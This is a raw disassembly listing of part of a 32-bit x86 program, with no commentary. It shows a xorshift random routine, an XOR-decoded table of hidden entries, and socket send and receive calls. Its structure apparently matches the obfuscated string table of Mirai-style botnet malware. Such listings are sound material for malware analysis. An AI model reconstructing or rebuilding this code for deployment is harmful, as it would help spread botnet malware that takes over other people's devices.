804b14c: 8d 94 24 8c 05 00 00 lea 0x58c(%esp),%edx
804b153: 52 push %edx
804b154: 8d 84 24 8c 05 00 00 lea 0x58c(%esp),%eax
804b15b: 50 push %eax
804b15c: 6a 04 push $0x4
804b15e: 6a 01 push $0x1
804b160: 51 push %ecx
804b161: e8 77 15 00 00 call 0x804c6dd
804b166: 83 c4 20 add $0x20,%esp
804b169: 8b 9c 24 7c 05 00 00 mov 0x57c(%esp),%ebx
804b170: 85 db test %ebx,%ebx
804b172: 74 72 je 0x804b1e6
804b174: 83 ec 0c sub $0xc,%esp
804b177: 8b 0d 2c f0 04 08 mov 0x804f02c,%ecx
804b17d: 51 push %ecx
804b17e: e8 50 0f 00 00 call 0x804c0d3
804b183: c7 05 2c f0 04 08 ff movl $0xffffffff,0x804f02c
804b18a: ff ff ff
804b18d: e8 be 01 00 00 call 0x804b350
804b192: b9 cd cc cc cc mov $0xcccccccd,%ecx
804b197: 5a pop %edx
804b198: 89 c3 mov %eax,%ebx
804b19a: f7 e1 mul %ecx
804b19c: 89 54 24 18 mov %edx,0x18(%esp)
804b1a0: 89 44 24 14 mov %eax,0x14(%esp)
804b1a4: 8b 54 24 18 mov 0x18(%esp),%edx
804b1a8: c1 ea 03 shr $0x3,%edx
804b1ab: 8d 14 92 lea (%edx,%edx,4),%edx
804b1ae: 01 d2 add %edx,%edx
804b1b0: 29 d3 sub %edx,%ebx
804b1b2: 8d 43 01 lea 0x1(%ebx),%eax
804b1b5: 50 push %eax
804b1b6: e8 d1 28 00 00 call 0x804da8c
804b1bb: 83 c4 10 add $0x10,%esp
804b1be: e9 cd fc ff ff jmp 0x804ae90
804b1c3: 68 00 40 00 00 push $0x4000
804b1c8: 6a 02 push $0x2
804b1ca: 8d 84 24 8e 05 00 00 lea 0x58e(%esp),%eax
804b1d1: 50 push %eax
804b1d2: 8b 3d 2c f0 04 08 mov 0x804f02c,%edi
804b1d8: 57 push %edi
804b1d9: e8 90 15 00 00 call 0x804c76e
804b1de: 83 c4 10 add $0x10,%esp
804b1e1: e9 80 fd ff ff jmp 0x804af66
804b1e6: 83 ec 0c sub $0xc,%esp
804b1e9: 8d 94 24 3c 05 00 00 lea 0x53c(%esp),%edx
804b1f0: 52 push %edx
804b1f1: e8 0a 0a 00 00 call 0x804bc00
804b1f6: 88 84 24 96 05 00 00 mov %al,0x596(%esp)
804b1fd: e8 1e 0c 00 00 call 0x804be20
804b202: a3 08 f1 04 08 mov %eax,0x804f108
804b207: 68 00 40 00 00 push $0x4000
804b20c: 6a 04 push $0x4
804b20e: 68 94 e8 04 08 push $0x804e894
804b213: a1 2c f0 04 08 mov 0x804f02c,%eax
804b218: 50 push %eax
804b219: e8 50 15 00 00 call 0x804c76e
804b21e: 83 c4 20 add $0x20,%esp
804b221: 68 00 40 00 00 push $0x4000
804b226: 6a 01 push $0x1
804b228: 8d 8c 24 8e 05 00 00 lea 0x58e(%esp),%ecx
804b22f: 51 push %ecx
804b230: a1 2c f0 04 08 mov 0x804f02c,%eax
804b235: 50 push %eax
804b236: e8 33 15 00 00 call 0x804c76e
804b23b: 8a 84 24 96 05 00 00 mov 0x596(%esp),%al
804b242: 83 c4 10 add $0x10,%esp
804b245: 84 c0 test %al,%al
804b247: 0f 84 43 fc ff ff je 0x804ae90
804b24d: 25 ff 00 00 00 and $0xff,%eax
804b252: 68 00 40 00 00 push $0x4000
804b257: 50 push %eax
804b258: 8d 84 24 38 05 00 00 lea 0x538(%esp),%eax
804b25f: 50 push %eax
804b260: a1 2c f0 04 08 mov 0x804f02c,%eax
804b265: 50 push %eax
804b266: e8 03 15 00 00 call 0x804c76e
804b26b: 83 c4 10 add $0x10,%esp
804b26e: e9 1d fc ff ff jmp 0x804ae90
804b273: 8b 03 mov (%ebx),%eax
804b275: 83 f8 0b cmp $0xb,%eax
804b278: 0f 84 12 fc ff ff je 0x804ae90
804b27e: 83 f8 04 cmp $0x4,%eax
804b281: 0f 85 21 fe ff ff jne 0x804b0a8
804b287: e9 04 fc ff ff jmp 0x804ae90
804b28c: 68 00 40 00 00 push $0x4000
804b291: 6a 02 push $0x2
804b293: 8d 8c 24 8e 05 00 00 lea 0x58e(%esp),%ecx
804b29a: 51 push %ecx
804b29b: a1 2c f0 04 08 mov 0x804f02c,%eax
804b2a0: 50 push %eax
804b2a1: e8 95 14 00 00 call 0x804c73b
804b2a6: 83 c4 10 add $0x10,%esp
804b2a9: e9 e2 fb ff ff jmp 0x804ae90
804b2ae: 83 ec 0c sub $0xc,%esp
804b2b1: a1 2c f0 04 08 mov 0x804f02c,%eax
804b2b6: 50 push %eax
804b2b7: e8 17 0e 00 00 call 0x804c0d3
804b2bc: 83 c4 10 add $0x10,%esp
804b2bf: c7 05 2c f0 04 08 ff movl $0xffffffff,0x804f02c
804b2c6: ff ff ff
804b2c9: e9 c2 fb ff ff jmp 0x804ae90
804b2ce: 68 00 40 00 00 push $0x4000
804b2d3: 6a 02 push $0x2
804b2d5: 8d 94 24 8e 05 00 00 lea 0x58e(%esp),%edx
804b2dc: 52 push %edx
804b2dd: 8b 1d 2c f0 04 08 mov 0x804f02c,%ebx
804b2e3: 53 push %ebx
804b2e4: e8 52 14 00 00 call 0x804c73b
804b2e9: 66 8b 84 24 96 05 00 mov 0x596(%esp),%ax
804b2f0: 00
804b2f1: 66 c1 c8 08 ror $0x8,%ax
804b2f5: 66 89 84 24 96 05 00 mov %ax,0x596(%esp)
804b2fc: 00
804b2fd: 25 ff ff 00 00 and $0xffff,%eax
804b302: 68 00 40 00 00 push $0x4000
804b307: 50 push %eax
804b308: 8d 4c 24 48 lea 0x48(%esp),%ecx
804b30c: 51 push %ecx
804b30d: 8b 0d 2c f0 04 08 mov 0x804f02c,%ecx
804b313: 51 push %ecx
804b314: e8 22 14 00 00 call 0x804c73b
804b319: 66 8b 84 24 a6 05 00 mov 0x5a6(%esp),%ax
804b320: 00
804b321: 83 c4 20 add $0x20,%esp
804b324: 66 85 c0 test %ax,%ax
804b327: 0f 84 63 fb ff ff je 0x804ae90
804b32d: 25 ff ff 00 00 and $0xffff,%eax
804b332: 52 push %edx
804b333: 52 push %edx
804b334: 50 push %eax
804b335: 8d 44 24 3c lea 0x3c(%esp),%eax
804b339: 50 push %eax
804b33a: e8 11 cf ff ff call 0x8048250
804b33f: 83 c4 10 add $0x10,%esp
804b342: e9 49 fb ff ff jmp 0x804ae90
804b347: 90 nop
804b348: 90 nop
804b349: 90 nop
804b34a: 90 nop
804b34b: 90 nop
804b34c: 90 nop
804b34d: 90 nop
804b34e: 90 nop
804b34f: 90 nop
804b350: a1 d0 f0 04 08 mov 0x804f0d0,%eax
804b355: 53 push %ebx
804b356: 89 c3 mov %eax,%ebx
804b358: 8b 15 dc f0 04 08 mov 0x804f0dc,%edx
804b35e: c1 e3 0b shl $0xb,%ebx
804b361: 89 d1 mov %edx,%ecx
804b363: c1 e9 13 shr $0x13,%ecx
804b366: 31 c3 xor %eax,%ebx
804b368: a1 d4 f0 04 08 mov 0x804f0d4,%eax
804b36d: a3 d0 f0 04 08 mov %eax,0x804f0d0
804b372: a1 d8 f0 04 08 mov 0x804f0d8,%eax
804b377: a3 d4 f0 04 08 mov %eax,0x804f0d4
804b37c: 89 15 d8 f0 04 08 mov %edx,0x804f0d8
804b382: 89 d8 mov %ebx,%eax
804b384: 31 ca xor %ecx,%edx
804b386: c1 e8 08 shr $0x8,%eax
804b389: 31 d3 xor %edx,%ebx
804b38b: 31 d8 xor %ebx,%eax
804b38d: 5b pop %ebx
804b38e: a3 dc f0 04 08 mov %eax,0x804f0dc
804b393: c3 ret
804b394: 90 nop
804b395: 90 nop
804b396: 90 nop
804b397: 90 nop
804b398: 90 nop
804b399: 90 nop
804b39a: 90 nop
804b39b: 90 nop
804b39c: 90 nop
804b39d: 90 nop
804b39e: 90 nop
804b39f: 90 nop
804b3a0: 53 push %ebx
804b3a1: 83 ec 14 sub $0x14,%esp
804b3a4: 6a 00 push $0x0
804b3a6: e8 94 0f 00 00 call 0x804c33f
804b3ab: a3 d0 f0 04 08 mov %eax,0x804f0d0
804b3b0: e8 72 0d 00 00 call 0x804c127
804b3b5: 89 c3 mov %eax,%ebx
804b3b7: e8 91 0d 00 00 call 0x804c14d
804b3bc: 31 c3 xor %eax,%ebx
804b3be: 89 1d d4 f0 04 08 mov %ebx,0x804f0d4
804b3c4: e8 f3 11 00 00 call 0x804c5bc
804b3c9: 8b 15 d4 f0 04 08 mov 0x804f0d4,%edx
804b3cf: a3 d8 f0 04 08 mov %eax,0x804f0d8
804b3d4: 31 d0 xor %edx,%eax
804b3d6: a3 dc f0 04 08 mov %eax,0x804f0dc
804b3db: 83 c4 18 add $0x18,%esp
804b3de: 5b pop %ebx
804b3df: c3 ret
804b3e0: 55 push %ebp
804b3e1: 57 push %edi
804b3e2: 56 push %esi
804b3e3: 53 push %ebx
804b3e4: 83 ec 38 sub $0x38,%esp
804b3e7: 8b 5c 24 50 mov 0x50(%esp),%ebx
804b3eb: 6a 1c push $0x1c
804b3ed: e8 3e 02 00 00 call 0x804b630
804b3f2: 5f pop %edi
804b3f3: 5d pop %ebp
804b3f4: 6a 00 push $0x0
804b3f6: 6a 1c push $0x1c
804b3f8: e8 83 01 00 00 call 0x804b580
804b3fd: 59 pop %ecx
804b3fe: 5e pop %esi
804b3ff: 50 push %eax
804b400: 8d 6c 24 18 lea 0x18(%esp),%ebp
804b404: 55 push %ebp
804b405: e8 12 12 00 00 call 0x804c61c
804b40a: 83 c4 10 add $0x10,%esp
804b40d: 85 db test %ebx,%ebx
804b40f: 74 68 je 0x804b479
804b411: 8b 74 24 40 mov 0x40(%esp),%esi
804b415: 8d 3c 33 lea (%ebx,%esi,1),%edi
804b418: a1 d0 f0 04 08 mov 0x804f0d0,%eax
804b41d: 83 ec 0c sub $0xc,%esp
804b420: 89 c1 mov %eax,%ecx
804b422: c1 e1 0b shl $0xb,%ecx
804b425: 55 push %ebp
804b426: 31 c1 xor %eax,%ecx
804b428: a1 d4 f0 04 08 mov 0x804f0d4,%eax
804b42d: a3 d0 f0 04 08 mov %eax,0x804f0d0
804b432: a1 d8 f0 04 08 mov 0x804f0d8,%eax
804b437: a3 d4 f0 04 08 mov %eax,0x804f0d4
804b43c: a1 dc f0 04 08 mov 0x804f0dc,%eax
804b441: 89 c2 mov %eax,%edx
804b443: a3 d8 f0 04 08 mov %eax,0x804f0d8
804b448: c1 ea 13 shr $0x13,%edx
804b44b: 89 cb mov %ecx,%ebx
804b44d: c1 eb 08 shr $0x8,%ebx
804b450: 31 d0 xor %edx,%eax
804b452: 31 c1 xor %eax,%ecx
804b454: 31 cb xor %ecx,%ebx
804b456: 89 1d dc f0 04 08 mov %ebx,0x804f0dc
804b45c: e8 9f 07 00 00 call 0x804bc00
804b461: 89 c2 mov %eax,%edx
804b463: 89 d8 mov %ebx,%eax
804b465: 89 d1 mov %edx,%ecx
804b467: 31 d2 xor %edx,%edx
804b469: f7 f1 div %ecx
804b46b: 8a 44 14 1c mov 0x1c(%esp,%edx,1),%al
804b46f: 83 c4 10 add $0x10,%esp
804b472: 88 06 mov %al,(%esi)
804b474: 46 inc %esi
804b475: 39 fe cmp %edi,%esi
804b477: 75 9f jne 0x804b418
804b479: 83 ec 0c sub $0xc,%esp
804b47c: 6a 1c push $0x1c
804b47e: e8 2d 01 00 00 call 0x804b5b0
804b483: 83 c4 3c add $0x3c,%esp
804b486: 5b pop %ebx
804b487: 5e pop %esi
804b488: 5f pop %edi
804b489: 5d pop %ebp
804b48a: c3 ret
804b48b: 90 nop
804b48c: 90 nop
804b48d: 90 nop
804b48e: 90 nop
804b48f: 90 nop
804b490: 55 push %ebp
804b491: 57 push %edi
804b492: 56 push %esi
804b493: 53 push %ebx
804b494: 83 ec 04 sub $0x4,%esp
804b497: 8b 5c 24 1c mov 0x1c(%esp),%ebx
804b49b: 8b 7c 24 18 mov 0x18(%esp),%edi
804b49f: 85 db test %ebx,%ebx
804b4a1: 0f 8e 8e 00 00 00 jle 0x804b535
804b4a7: a1 d8 f0 04 08 mov 0x804f0d8,%eax
804b4ac: 8b 35 dc f0 04 08 mov 0x804f0dc,%esi
804b4b2: 89 04 24 mov %eax,(%esp)
804b4b5: 8b 2d d4 f0 04 08 mov 0x804f0d4,%ebp
804b4bb: a1 d0 f0 04 08 mov 0x804f0d0,%eax
804b4c0: eb 2d jmp 0x804b4ef
804b4c2: 89 c2 mov %eax,%edx
804b4c4: 83 eb 04 sub $0x4,%ebx
804b4c7: c1 e2 0b shl $0xb,%edx
804b4ca: 31 c2 xor %eax,%edx
804b4cc: 89 f0 mov %esi,%eax
804b4ce: c1 e8 13 shr $0x13,%eax
804b4d1: 89 d1 mov %edx,%ecx
804b4d3: c1 e9 08 shr $0x8,%ecx
804b4d6: 31 f0 xor %esi,%eax
804b4d8: 31 c2 xor %eax,%edx
804b4da: 31 d1 xor %edx,%ecx
804b4dc: 89 0f mov %ecx,(%edi)
804b4de: 83 c7 04 add $0x4,%edi
804b4e1: 85 db test %ebx,%ebx
804b4e3: 7e 36 jle 0x804b51b
804b4e5: 89 e8 mov %ebp,%eax
804b4e7: 8b 2c 24 mov (%esp),%ebp
804b4ea: 89 34 24 mov %esi,(%esp)
804b4ed: 89 ce mov %ecx,%esi
804b4ef: 83 fb 03 cmp $0x3,%ebx
804b4f2: 7f ce jg 0x804b4c2
804b4f4: 83 fb 01 cmp $0x1,%ebx
804b4f7: 74 47 je 0x804b540
804b4f9: 89 c2 mov %eax,%edx
804b4fb: 83 eb 02 sub $0x2,%ebx
804b4fe: c1 e2 0b shl $0xb,%edx
804b501: 31 c2 xor %eax,%edx
804b503: 89 f0 mov %esi,%eax
804b505: c1 e8 13 shr $0x13,%eax
804b508: 89 d1 mov %edx,%ecx
804b50a: c1 e9 08 shr $0x8,%ecx
804b50d: 31 f0 xor %esi,%eax
804b50f: 31 c2 xor %eax,%edx
804b511: 31 d1 xor %edx,%ecx
804b513: 66 89 0f mov %cx,(%edi)
804b516: 83 c7 02 add $0x2,%edi
804b519: eb c6 jmp 0x804b4e1
804b51b: 8b 04 24 mov (%esp),%eax
804b51e: 89 0d dc f0 04 08 mov %ecx,0x804f0dc
804b524: 89 35 d8 f0 04 08 mov %esi,0x804f0d8
804b52a: a3 d4 f0 04 08 mov %eax,0x804f0d4
804b52f: 89 2d d0 f0 04 08 mov %ebp,0x804f0d0
804b535: 58 pop %eax
804b536: 5b pop %ebx
804b537: 5e pop %esi
804b538: 5f pop %edi
804b539: 5d pop %ebp
804b53a: c3 ret
804b53b: 90 nop
804b53c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
804b540: 89 c1 mov %eax,%ecx
804b542: 89 2d d0 f0 04 08 mov %ebp,0x804f0d0
804b548: c1 e1 0b shl $0xb,%ecx
804b54b: 89 35 d8 f0 04 08 mov %esi,0x804f0d8
804b551: 31 c1 xor %eax,%ecx
804b553: 8b 04 24 mov (%esp),%eax
804b556: a3 d4 f0 04 08 mov %eax,0x804f0d4
804b55b: 89 f0 mov %esi,%eax
804b55d: c1 e8 13 shr $0x13,%eax
804b560: 89 ca mov %ecx,%edx
804b562: c1 ea 08 shr $0x8,%edx
804b565: 31 f0 xor %esi,%eax
804b567: 31 c1 xor %eax,%ecx
804b569: 31 ca xor %ecx,%edx
804b56b: 89 15 dc f0 04 08 mov %edx,0x804f0dc
804b571: 88 17 mov %dl,(%edi)
804b573: 58 pop %eax
804b574: 5b pop %ebx
804b575: 5e pop %esi
804b576: 5f pop %edi
804b577: 5d pop %ebp
804b578: c3 ret
804b579: 90 nop
804b57a: 90 nop
804b57b: 90 nop
804b57c: 90 nop
804b57d: 90 nop
804b57e: 90 nop
804b57f: 90 nop
804b580: 8b 44 24 04 mov 0x4(%esp),%eax
804b584: 8b 4c 24 08 mov 0x8(%esp),%ecx
804b588: 85 c9 test %ecx,%ecx
804b58a: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
804b591: 8d 82 40 f1 04 08 lea 0x804f140(%edx),%eax
804b597: 74 0a je 0x804b5a3
804b599: 8b 40 04 mov 0x4(%eax),%eax
804b59c: 25 ff ff 00 00 and $0xffff,%eax
804b5a1: 89 01 mov %eax,(%ecx)
804b5a3: 8b 82 40 f1 04 08 mov 0x804f140(%edx),%eax
804b5a9: c3 ret
804b5aa: 90 nop
804b5ab: 90 nop
804b5ac: 90 nop
804b5ad: 90 nop
804b5ae: 90 nop
804b5af: 90 nop
804b5b0: 55 push %ebp
804b5b1: 57 push %edi
804b5b2: 56 push %esi
804b5b3: 53 push %ebx
804b5b4: 83 ec 1c sub $0x1c,%esp
804b5b7: 31 c0 xor %eax,%eax
804b5b9: 8a 44 24 30 mov 0x30(%esp),%al
804b5bd: 8d 0c c5 40 f1 04 08 lea 0x804f140(,%eax,8),%ecx
804b5c4: a1 34 f0 04 08 mov 0x804f034,%eax
804b5c9: 66 83 79 04 00 cmpw $0x0,0x4(%ecx)
804b5ce: 74 4a je 0x804b61a
804b5d0: 89 c7 mov %eax,%edi
804b5d2: 89 c6 mov %eax,%esi
804b5d4: 89 c5 mov %eax,%ebp
804b5d6: 31 d2 xor %edx,%edx
804b5d8: c1 e8 18 shr $0x18,%eax
804b5db: c1 ef 08 shr $0x8,%edi
804b5de: 88 04 24 mov %al,(%esp)
804b5e1: c1 ee 10 shr $0x10,%esi
804b5e4: 8b 19 mov (%ecx),%ebx
804b5e6: 89 d0 mov %edx,%eax
804b5e8: 01 d8 add %ebx,%eax
804b5ea: 89 eb mov %ebp,%ebx
804b5ec: 30 18 xor %bl,(%eax)
804b5ee: 89 d0 mov %edx,%eax
804b5f0: 8b 19 mov (%ecx),%ebx
804b5f2: 01 d8 add %ebx,%eax
804b5f4: 89 fb mov %edi,%ebx
804b5f6: 30 18 xor %bl,(%eax)
804b5f8: 89 d0 mov %edx,%eax
804b5fa: 8b 19 mov (%ecx),%ebx
804b5fc: 01 d8 add %ebx,%eax
804b5fe: 89 f3 mov %esi,%ebx
804b600: 30 18 xor %bl,(%eax)
804b602: 89 d0 mov %edx,%eax
804b604: 8b 19 mov (%ecx),%ebx
804b606: 42 inc %edx
804b607: 01 d8 add %ebx,%eax
804b609: 8a 1c 24 mov (%esp),%bl
804b60c: 30 18 xor %bl,(%eax)
804b60e: 8b 41 04 mov 0x4(%ecx),%eax
804b611: 25 ff ff 00 00 and $0xffff,%eax
804b616: 39 d0 cmp %edx,%eax
804b618: 7f ca jg 0x804b5e4
804b61a: 83 c4 1c add $0x1c,%esp
804b61d: 5b pop %ebx
804b61e: 5e pop %esi
804b61f: 5f pop %edi
804b620: 5d pop %ebp
804b621: c3 ret
804b622: 90 nop
804b623: 90 nop
804b624: 90 nop
804b625: 90 nop
804b626: 90 nop
804b627: 90 nop
804b628: 90 nop
804b629: 90 nop
804b62a: 90 nop
804b62b: 90 nop
804b62c: 90 nop
804b62d: 90 nop
804b62e: 90 nop
804b62f: 90 nop
804b630: 55 push %ebp
804b631: 57 push %edi
804b632: 56 push %esi
804b633: 53 push %ebx
804b634: 83 ec 1c sub $0x1c,%esp
804b637: 31 c0 xor %eax,%eax
804b639: 8a 44 24 30 mov 0x30(%esp),%al
804b63d: 8d 0c c5 40 f1 04 08 lea 0x804f140(,%eax,8),%ecx
804b644: a1 34 f0 04 08 mov 0x804f034,%eax
804b649: 66 83 79 04 00 cmpw $0x0,0x4(%ecx)
804b64e: 74 4a je 0x804b69a
804b650: 89 c7 mov %eax,%edi
804b652: 89 c6 mov %eax,%esi
804b654: 89 c5 mov %eax,%ebp
804b656: 31 d2 xor %edx,%edx
804b658: c1 e8 18 shr $0x18,%eax
804b65b: c1 ef 08 shr $0x8,%edi
804b65e: 88 04 24 mov %al,(%esp)
804b661: c1 ee 10 shr $0x10,%esi
804b664: 8b 19 mov (%ecx),%ebx
804b666: 89 d0 mov %edx,%eax
804b668: 01 d8 add %ebx,%eax
804b66a: 89 eb mov %ebp,%ebx
804b66c: 30 18 xor %bl,(%eax)
804b66e: 89 d0 mov %edx,%eax
804b670: 8b 19 mov (%ecx),%ebx
804b672: 01 d8 add %ebx,%eax
804b674: 89 fb mov %edi,%ebx
804b676: 30 18 xor %bl,(%eax)
804b678: 89 d0 mov %edx,%eax
804b67a: 8b 19 mov (%ecx),%ebx
804b67c: 01 d8 add %ebx,%eax
804b67e: 89 f3 mov %esi,%ebx
804b680: 30 18 xor %bl,(%eax)
804b682: 89 d0 mov %edx,%eax
804b684: 8b 19 mov (%ecx),%ebx
804b686: 42 inc %edx
804b687: 01 d8 add %ebx,%eax
804b689: 8a 1c 24 mov (%esp),%bl
804b68c: 30 18 xor %bl,(%eax)
804b68e: 8b 41 04 mov 0x4(%ecx),%eax
804b691: 25 ff ff 00 00 and $0xffff,%eax
804b696: 39 d0 cmp %edx,%eax
804b698: 7f ca jg 0x804b664
804b69a: 83 c4 1c add $0x1c,%esp
804b69d: 5b pop %ebx
804b69e: 5e pop %esi
804b69f: 5f pop %edi
804b6a0: 5d pop %ebp
804b6a1: c3 ret
804b6a2: 90 nop
804b6a3: 90 nop
804b6a4: 90 nop
804b6a5: 90 nop
804b6a6: 90 nop
804b6a7: 90 nop
804b6a8: 90 nop
804b6a9: 90 nop
804b6aa: 90 nop
804b6ab: 90 nop
804b6ac: 90 nop
804b6ad: 90 nop
804b6ae: 90 nop
804b6af: 90 nop
804b6b0: 53 push %ebx
804b6b1: 83 ec 14 sub $0x14,%esp
804b6b4: 6a 02 push $0x2
804b6b6: e8 b5 11 00 00 call 0x804c870
804b6bb: 83 c4 0c add $0xc,%esp
804b6be: 89 c3 mov %eax,%ebx
804b6c0: 6a 02 push $0x2
804b6c2: 68 99 e8 04 08 push $0x804e899
804b6c7: 50 push %eax
804b6c8: e8 93 05 00 00 call 0x804bc60
804b6cd: 89 1d 48 f1 04 08 mov %ebx,0x804f148
804b6d3: c7 04 24 02 00 00 00 movl $0x2,(%esp)
804b6da: 66 c7 05 4c f1 04 08 movw $0x2,0x804f14c
804b6e1: 02 00
804b6e3: e8 88 11 00 00 call 0x804c870
804b6e8: 83 c4 0c add $0xc,%esp
804b6eb: 89 c3 mov %eax,%ebx
804b6ed: 6a 02 push $0x2
804b6ef: 68 9c e8 04 08 push $0x804e89c
804b6f4: 50 push %eax
804b6f5: e8 66 05 00 00 call 0x804bc60
804b6fa: 89 1d 50 f1 04 08 mov %ebx,0x804f150
804b700: c7 04 24 17 00 00 00 movl $0x17,(%esp)
804b707: 66 c7 05 54 f1 04 08 movw $0x2,0x804f154
804b70e: 02 00
804b710: e8 5b 11 00 00 call 0x804c870
804b715: 83 c4 0c add $0xc,%esp
804b718: 89 c3 mov %eax,%ebx
804b71a: 6a 17 push $0x17
804b71c: 68 9f e8 04 08 push $0x804e89f
804b721: 50 push %eax
804b722: e8 39 05 00 00 call 0x804bc60
804b727: 89 1d 58 f1 04 08 mov %ebx,0x804f158
804b72d: c7 04 24 06 00 00 00 movl $0x6,(%esp)
804b734: 66 c7 05 5c f1 04 08 movw $0x17,0x804f15c
804b73b: 17 00
804b73d: e8 2e 11 00 00 call 0x804c870
804b742: 83 c4 0c add $0xc,%esp
804b745: 89 c3 mov %eax,%ebx
804b747: 6a 06 push $0x6
804b749: 68 b7 e8 04 08 push $0x804e8b7
804b74e: 50 push %eax
804b74f: e8 0c 05 00 00 call 0x804bc60
804b754: 89 1d 60 f1 04 08 mov %ebx,0x804f160
804b75a: c7 04 24 07 00 00 00 movl $0x7,(%esp)
804b761: 66 c7 05 64 f1 04 08 movw $0x6,0x804f164
804b768: 06 00
804b76a: e8 01 11 00 00 call 0x804c870
804b76f: 83 c4 0c add $0xc,%esp
804b772: 89 c3 mov %eax,%ebx
804b774: 6a 07 push $0x7
804b776: 68 be e8 04 08 push $0x804e8be
804b77b: 50 push %eax
804b77c: e8 df 04 00 00 call 0x804bc60
804b781: 89 1d 68 f1 04 08 mov %ebx,0x804f168
804b787: c7 04 24 07 00 00 00 movl $0x7,(%esp)
804b78e: 66 c7 05 6c f1 04 08 movw $0x7,0x804f16c
804b795: 07 00
804b797: e8 d4 10 00 00 call 0x804c870
804b79c: 83 c4 0c add $0xc,%esp
804b79f: 89 c3 mov %eax,%ebx
804b7a1: 6a 07 push $0x7
804b7a3: 68 c6 e8 04 08 push $0x804e8c6
804b7a8: 50 push %eax
804b7a9: e8 b2 04 00 00 call 0x804bc60
804b7ae: 89 1d 70 f1 04 08 mov %ebx,0x804f170
804b7b4: c7 04 24 03 00 00 00 movl $0x3,(%esp)
804b7bb: 66 c7 05 74 f1 04 08 movw $0x7,0x804f174
804b7c2: 07 00
804b7c4: e8 a7 10 00 00 call 0x804c870
804b7c9: 83 c4 0c add $0xc,%esp
804b7cc: 89 c3 mov %eax,%ebx
804b7ce: 6a 03 push $0x3
804b7d0: 68 ce e8 04 08 push $0x804e8ce
804b7d5: 50 push %eax
804b7d6: e8 85 04 00 00 call 0x804bc60
804b7db: 89 1d 78 f1 04 08 mov %ebx,0x804f178
804b7e1: c7 04 24 13 00 00 00 movl $0x13,(%esp)
804b7e8: 66 c7 05 7c f1 04 08 movw $0x3,0x804f17c
804b7ef: 03 00
804b7f1: e8 7a 10 00 00 call 0x804c870
804b7f6: 83 c4 0c add $0xc,%esp
804b7f9: 89 c3 mov %eax,%ebx
804b7fb: 6a 13 push $0x13
804b7fd: 68 d2 e8 04 08 push $0x804e8d2
804b802: 50 push %eax
804b803: e8 58 04 00 00 call 0x804bc60
804b808: 89 1d 80 f1 04 08 mov %ebx,0x804f180
804b80e: c7 04 24 18 00 00 00 movl $0x18,(%esp)
804b815: 66 c7 05 84 f1 04 08 movw $0x13,0x804f184
804b81c: 13 00
804b81e: e8 4d 10 00 00 call 0x804c870
804b823: 83 c4 0c add $0xc,%esp
804b826: 89 c3 mov %eax,%ebx
804b828: 6a 18 push $0x18
804b82a: 68 e6 e8 04 08 push $0x804e8e6
804b82f: 50 push %eax
804b830: e8 2b 04 00 00 call 0x804bc60
804b835: 89 1d 88 f1 04 08 mov %ebx,0x804f188
804b83b: c7 04 24 09 00 00 00 movl $0x9,(%esp)
804b842: 66 c7 05 8c f1 04 08 movw $0x18,0x804f18c
804b849: 18 00
804b84b: e8 20 10 00 00 call 0x804c870
804b850: 83 c4 0c add $0xc,%esp
804b853: 89 c3 mov %eax,%ebx
804b855: 6a 09 push $0x9
804b857: 68 ff e8 04 08 push $0x804e8ff
804b85c: 50 push %eax
804b85d: e8 fe 03 00 00 call 0x804bc60
804b862: 89 1d 90 f1 04 08 mov %ebx,0x804f190
804b868: c7 04 24 10 00 00 00 movl $0x10,(%esp)
804b86f: 66 c7 05 94 f1 04 08 movw $0x9,0x804f194
804b876: 09 00
804b878: e8 f3 0f 00 00 call 0x804c870
804b87d: 83 c4 0c add $0xc,%esp
804b880: 89 c3 mov %eax,%ebx
804b882: 6a 10 push $0x10
804b884: 68 09 e9 04 08 push $0x804e909
804b889: 50 push %eax
804b88a: e8 d1 03 00 00 call 0x804bc60
804b88f: 89 1d 98 f1 04 08 mov %ebx,0x804f198
804b895: c7 04 24 16 00 00 00 movl $0x16,(%esp)
804b89c: 66 c7 05 9c f1 04 08 movw $0x10,0x804f19c
804b8a3: 10 00
804b8a5: e8 c6 0f 00 00 call 0x804c870
804b8aa: 83 c4 0c add $0xc,%esp
804b8ad: 89 c3 mov %eax,%ebx
804b8af: 6a 16 push $0x16
804b8b1: 68 1a e9 04 08 push $0x804e91a
804b8b6: 50 push %eax
804b8b7: e8 a4 03 00 00 call 0x804bc60
804b8bc: 89 1d a0 f1 04 08 mov %ebx,0x804f1a0
804b8c2: c7 04 24 07 00 00 00 movl $0x7,(%esp)
804b8c9: 66 c7 05 a4 f1 04 08 movw $0x16,0x804f1a4
804b8d0: 16 00
804b8d2: e8 99 0f 00 00 call 0x804c870
804b8d7: 83 c4 0c add $0xc,%esp
804b8da: 89 c3 mov %eax,%ebx
804b8dc: 6a 07 push $0x7
804b8de: 68 31 e9 04 08 push $0x804e931
804b8e3: 50 push %eax
804b8e4: e8 77 03 00 00 call 0x804bc60
804b8e9: 89 1d a8 f1 04 08 mov %ebx,0x804f1a8
804b8ef: c7 04 24 05 00 00 00 movl $0x5,(%esp)
804b8f6: 66 c7 05 ac f1 04 08 movw $0x7,0x804f1ac
804b8fd: 07 00
804b8ff: e8 6c 0f 00 00 call 0x804c870
804b904: 83 c4 0c add $0xc,%esp
804b907: 89 c3 mov %eax,%ebx
804b909: 6a 05 push $0x5
804b90b: 68 39 e9 04 08 push $0x804e939
804b910: 50 push %eax
804b911: e8 4a 03 00 00 call 0x804bc60
804b916: 89 1d b0 f1 04 08 mov %ebx,0x804f1b0
804b91c: c7 04 24 04 00 00 00 movl $0x4,(%esp)
804b923: 66 c7 05 b4 f1 04 08 movw $0x5,0x804f1b4
804b92a: 05 00
804b92c: e8 3f 0f 00 00 call 0x804c870
804b931: 83 c4 0c add $0xc,%esp
804b934: 89 c3 mov %eax,%ebx
804b936: 6a 04 push $0x4
804b938: 68 3f e9 04 08 push $0x804e93f
804b93d: 50 push %eax
804b93e: e8 1d 03 00 00 call 0x804bc60
804b943: 89 1d b8 f1 04 08 mov %ebx,0x804f1b8
804b949: c7 04 24 06 00 00 00 movl $0x6,(%esp)
804b950: 66 c7 05 bc f1 04 08 movw $0x4,0x804f1bc
804b957: 04 00
804b959: e8 12 0f 00 00 call 0x804c870
804b95e: 83 c4 0c add $0xc,%esp
804b961: 89 c3 mov %eax,%ebx
804b963: 6a 06 push $0x6
804b965: 68 44 e9 04 08 push $0x804e944
804b96a: 50 push %eax
804b96b: e8 f0 02 00 00 call 0x804bc60
804b970: 89 1d c0 f1 04 08 mov %ebx,0x804f1c0
